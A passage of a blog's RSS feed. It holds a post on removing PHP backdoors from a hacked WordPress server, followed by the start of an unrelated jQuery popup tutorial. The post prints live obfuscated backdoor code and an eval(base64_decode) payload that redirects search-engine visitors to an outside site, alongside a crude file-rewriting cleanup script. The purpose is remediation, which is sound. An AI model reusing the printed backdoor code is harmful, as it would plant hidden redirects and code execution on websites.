font-weight: bold;">\141</span><span style="color: #660099; font-weight: bold;">\x76</span><span style="color: #660099; font-weight: bold;">\145</span><span style="color: #660099; font-weight: bold;">\x40</span><span style="color: #660099; font-weight: bold;">\72</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\166</span><span style="color: #660099; font-weight: bold;">\x61</span><span style="color: #660099; font-weight: bold;">\154</span><span style="color: #660099; font-weight: bold;">\x28</span><span style="color: #660099; font-weight: bold;">\42</span><span style="color: #660099; font-weight: bold;">\x5c</span><span style="color: #660099; font-weight: bold;">\61</span><span style="color: #660099; font-weight: bold;">\x22</span><span style="color: #660099; font-weight: bold;">\51</span><span style="color: #660099; font-weight: bold;">\x3b</span><span style="color: #660099; font-weight: bold;">\72</span><span style="color: #660099; font-weight: bold;">\x40</span><span style="color: #660099; font-weight: bold;">\50</span><span style="color: #660099; font-weight: bold;">\x2e</span><span style="color: #660099; font-weight: bold;">\53</span><span style="color: #660099; font-weight: bold;">\x29</span><span style="color: #660099; font-weight: bold;">\100</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\145</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldokBcVSjr</span><span style="color: #339933;">=</span><span style="color: #000088;">$eva1tYldakBcVSir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1tYldakBoVS1r</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBcVSjr</span><span style="color: #339933;">=</span><span style="color: #000088;">$eva1tYldakBcVSir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYidakBcVSjr</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYldakBcVSjr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color:#800080;">2687.5</span><span style="color: #339933;">*</span><span style="color:#800080;">0.016</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$eva1fYlbakBcVSir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYXdakAcVSjr</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYidakBcVSjr</span><span style="color: #009900;">&#91;</span><span style="color:#800080;">0.031</span><span style="color: #339933;">*</span><span style="color:#800080;">0.061</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYidokBcVSjr</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYldakBcVSjr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3625</span><span style="color: #339933;">*</span><span style="color:#800080;">0.016</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$eva1tYidokBoVSjr</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldokBcVSjr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1tYidokBcVSjr</span><span style="color: #009900;">&#91;</span><span style="color:#800080;">0.016</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color:#800080;">7812.5</span><span style="color: #339933;">*</span><span style="color:#800080;">0.016</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$eva1tYidokBcVSjr</span><span style="color: #009900;">&#91;</span><span style="color:#800080;">62.5</span><span style="color: #339933;">*</span><span style="color:#800080;">0.016</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$eva1tYldakBcVSir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1tYidokBcVSjr</span><span style="color: #009900;">&#91;</span><span style="color:#800080;">0.061</span><span style="color: #339933;">*</span><span style="color:#800080;">0.031</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBoVS1r</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">.</span><span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYidokBoVSjr</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x73</span><span style="color: #660099; font-weight: bold;">\164</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\143</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\160</span><span style="color: #660099; font-weight: bold;">\164</span><span style="color: #660099; font-weight: bold;">\x72</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYlbakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x67</span><span style="color: #660099; font-weight: bold;">\141</span><span style="color: #660099; font-weight: bold;">\x6f</span><span style="color: #660099; font-weight: bold;">\133</span><span style="color: #660099; font-weight: bold;">\x70</span><span style="color: #660099; font-weight: bold;">\170</span><span style="color: #660099; font-weight: bold;">\x65</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBoVS1r</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\x65</span><span style="color: #660099; font-weight: bold;">\143</span><span style="color: #660099; font-weight: bold;">\x72</span><span style="color: #660099; font-weight: bold;">\160</span>&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBcVSir</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYldakBoVS1r</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">.</span><span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">;</span><span style="color: #000088;">$eva1tYidokBoVSjr</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$eva1tYlbakBcVSir</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>The code for this backdoor is quite long and kind of confusing.  In order to fix this backdoor there is a script that will search you entire server and delete any instances of the code.  You can find the script for this below:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt; ?php
&nbsp;
// Grep all instance of the mailicious code
// by doing a grep
$path = &quot;/home/user/www/&quot;; // ppath to store grep if too large
$pathwebroot = &quot;/home/user/www/&quot;;
&nbsp;
shell_exec('grep -R &quot;eva1fYlbakBcVSir&quot; '.$pathtowebroot.'* &gt; grep.out');
&nbsp;
$handle = fopen($path.&quot;/grep.out&quot;, &quot;r&quot;);
$cnt = fread($handle, filesize($path.&quot;/grep.out&quot;));
fclose($handle);
//$output = shell_ex
&nbsp;
$arrReplace = explode(&quot;
&quot;, $cnt);
// grep sep with :
// then parse with the linebreak
echo 'found '.sizeof( $arrReplace);
sleep(5);
$x = 0;
for($i = 0; $i &lt; sizeof( $arrReplace); $i++) {
        $row = explode(':', $arrReplace[$i]);
        if (sizeof($row) &gt; 1) {
        echo $row[0].&quot; sanitized.\n&quot;;
        // open the infected file for reading
        $handle = fopen($row[0], &quot;r&quot;);
        $infected = fread($handle, filesize($row[0]));
        fclose($handle);
        // cleaning up
        //$cleared = str_replace('&lt; ?php ..', '//:start:', $infected);
        $cleared = explode('<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #339933;">@</span><span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$eva1fYlbakB</span><span style="color: #0000ff;">', $infected);
        $cleared = $cleared[0];
        // saving cleared data
        $fp = fopen($row[0], &quot;w&quot;);
        fwrite($fp,$cleared);
        fclose( $fp );
        $x++;
        }
&nbsp;
}
die(sizeof( $x ).'</span> were fixed<span style="color: #339933;">.</span><span style="color: #0000ff;">');
?&gt;</span></pre></div></div>

<h3>Should Be Cleaned</h3>
<p>After you run the script you should be cleaned but still not protected.  There are two main reasons this backdoor gets into your server.  One an old version of timthumb.php and two your .htaccess file needs to be more secure.  As for the timthumb.php all that you will have to do is replace this file with the newest version.  You can get that <a target="_blank" href="http://code.google.com/p/timthumb/">here</a>.  If for instance your server is like mine and has a ton of files and you are not sure where all of your timthumb.php files are you can use the script below to find all the areas on your server that have timthumb.php.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #000000; font-weight: bold;">class</span> file_search <span style="color: #009900;">&#123;</span>
  <span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$found</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #000000; font-weight: bold;">function</span> file_search<span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dirs</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'.'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sub</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$case</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$dirs</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dirs</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dirs</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$dirs</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dirs</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      <span style="color: #000088;">$dir</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/$'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'/'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
      <span style="color: #000088;">$directory</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$directory</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$file</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">'..'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
          <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sub</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">is_dir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">file_search</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span><span style="color: #339933;">,</span> <span style="color: #000088;">$dir</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sub</span><span style="color: #339933;">,</span> <span style="color: #000088;">$case</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
          <span style="color: #009900;">&#125;</span>
          <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$files</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$files</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$target</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
              <span style="color: #000088;">$tar_ext</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strrchr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$target</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
              <span style="color: #000088;">$tar_name</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$target</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$target</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
              <span style="color: #000088;">$fil_ext</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strrchr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
              <span style="color: #000088;">$fil_name</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'.'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
              <span style="color: #000088;">$ereg</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$case</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'ereg'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'eregi'</span><span style="color: #339933;">;</span>
              <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$ereg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tar_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fil_name</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">eregi</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$tar_ext</span><span style="color: #339933;">,</span> <span style="color: #000088;">$fil_ext</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">found</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dir</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$file</span><span style="color: #339933;">;</span>
              <span style="color: #009900;">&#125;</span>
            <span style="color: #009900;">&#125;</span>
          <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$find</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'timthumb.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$search</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> file_search<span style="color: #009900;">&#40;</span><span style="color: #000088;">$find</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;p&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$search</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">found</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'&lt;/p&gt;'</span><span style="color: #339933;">;</span>
<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>This will search your server and output the areas that timthumb.php was found.</p>
<h3>Backdoor Number 2 &#8211; eval(base64_decode(&#8220;DQplc</h3>
<p>This backdoor is kind of the same as the first one but much harder to remove.  The virus looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php	 	<span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJvYWR3YXkuYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ==&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This backdoor will show up on every php page right after your opening < ?php.  Now unlike the first virus you are unable to search for this one and delete the entire line involved because it is adding the code to your current <?php lines.  So for instance in wordpress you would have a <?php get_header(); ?> this backdoor would add the code right before get_header.  If you use the first code to remove this it will delete the get_header also.  So your template files will not work at all after that.  There is no easy way to fix this backdoor with out removing your files from your server.</p>
<h3>How To Fix</h3>
<p>In order to fix this backdoor you will have to download your entire root directory and search all the files for the instance of the code.  the way I did this is downloaded <a target="_blank" href="http://www.notepad-plus-plus.org">notepad++</a>.  Once you install this you can search all the files at once and replace the code with blank space.  Be careful when doing this.  After you are done you would just have to upload and replace your files on your server.</p>
<h3>Hopeful, Helpful Words</h3>
<p>The first thing make sure that the backdoor that you have is the one that you are trying to fix.  After fixing make sure to research how to up your server security.  And last but not least please use these scripts at your own risk.</pre>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1935&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/wordpress-help/server-eval-hijacked/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Popup</title>
		<link>http://www.shanestrong.com/web-development/jquery-popup</link>
		<comments>http://www.shanestrong.com/web-development/jquery-popup#comments</comments>
		<pubDate>Thu, 19 Jan 2012 06:03:52 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[Popup]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1371</guid>
		<description><![CDATA[jQuery is not a new technology anymore but it is not an old one either. Most new website are using some form of jQuery. There are some things that you can do with jQuery that are simple but can make your website stand out. One of the ways that you can spread news or try [...]]]></description>
			<content:encoded><![CDATA[<p>jQuery is not a new technology anymore but it is not an old one either.  Most new website are using some form of jQuery.  There are some things that you can do with jQuery that are simple but can make your website stand out.  One of the ways that you can spread news or try to get people to interact on your site more is with a popup.  Now some people might think these are annoying but can really help build more interaction.  Popups don&#8217;t have to be annoying, they can be helpfully and creative.  The thing that made popups annoying when they first came out was that people played music with them and they popped up automatically.  Well that is annoying but what if you use it for a contact form or something for people to signup for feeds.  There are a ton of things that you can use a popup for and with jQuery you will get something that is for the most part cross browser compliant.  For this tutorial you will need to know html, jQuery, and css.  So lets get started.</p>
<h3>Step One &#8211; Create You HTML Template</h3>
<p>One of the first things you will need for your html template is the jquery library script or an equivalent script.  The <a target="_blank" href="http://code.google.com/apis/libraries/devguide.html#jquery">google hosted jquery script</a> or the jquery hosted latest script would work.  I prefer to use the latest jquery script.  The next thing that you will need to add is the css popup file and the js popup file.  These will look like this in your head area.</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">   &lt;link rel=&quot;stylesheet&quot; href=&quot;PathToFile/popup.css&quot; type=&quot;text/css&quot; /&gt;
   &lt;script src=&quot;http://code.jquery.com/jquery-latest.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;PathToFile/popup.js&quot;&gt;&lt;/script&gt;</pre></div></div>

<p>After you add these all that you will have to do is add the code to create the popup.  Well you will have to first decide if you want to use a button or a link.  Both of these will work all that you have to do is add the class button to them.  Then you will have to create the popup container and the contents of the popup.  This should look something link this:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">   &lt;div class=&quot;button&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;Press This&quot; /&gt;&lt;/div&gt;
   &lt;div class=&quot;popupContent&quot;&gt;
      &lt;a class=&quot;popupClose&quot;&gt;x&lt;/a&gt;
      &lt;h1&gt;This is a title for a popup!&lt;/h1&gt;
      &lt;p&gt;What you want in the popup&lt;/p&gt;
   &lt;/div&gt;
   &lt;div class=&quot;backgroundPopup&quot;&gt;&lt;/div&gt;</pre></div></div>

<p>That is all for the html part.  Now you will have to style the popup with the popup.css file.</p>
<h3>Step Two &#8211; Design Your Popup With CSS</h3>
<p>Inside of the popup.css file there are all of the classes that you will need to have setup.  Hear is a list of the classes that you will need (popupContent, popupClose, and backgroundPopup).  These classes will have to be coded like below:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">   .backgroundPopup<span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span><span style="color: #993333;">fixed</span><span style="color: #00AA00;">;</span>
	_position<span style="color: #00AA00;">:</span><span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span> <span style="color: #808080; font-style: italic;">/* hack for internet explorer 6*/</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span><span style="color: #933;">100%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">100%</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">top</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">left</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">0</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#000000</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">z-index</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">9998</span><span style="color: #00AA00;">;</span>
   <span style="color: #00AA00;">&#125;</span>
   //You can style the <span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">,</span> <span style="color: #000000; font-weight: bold;">border</span><span style="color: #00AA00;">,</span> <span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">,</span> and <span style="color: #000000; font-weight: bold;">height</span> of this how you want
   .popupContent<span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">display</span><span style="color: #00AA00;">:</span><span style="color: #993333;">none</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">position</span><span style="color: #00AA00;">:</span><span style="color: #993333;">fixed</span><span style="color: #00AA00;">;</span>
	_position<span style="color: #00AA00;">:</span><span style="color: #993333;">absolute</span><span style="color: #00AA00;">;</span> <span style="color: #808080; font-style: italic;">/* hack for internet explorer 6*/</span>
	<span style="color: #000000; font-weight: bold;">height</span><span style="color: #00AA00;">:</span><span style="color: #993333;">auto</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">width</span><span style="color: #00AA00;">:</span><span style="color: #933;">35em</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#fff</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">z-index</span><span style="color: #00AA00;">:</span><span style="color: #cc66cc;">9999</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #933;">2em</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">font-size</span><span style="color: #00AA00;">:</span><span style="color: #933;">1.3em</span><span style="color: #00AA00;">;</span>
   <span style="color: #00AA00;">&#125;</span>
   //Style this how you want
   .popupClose<span style="color: #00AA00;">&#123;</span>
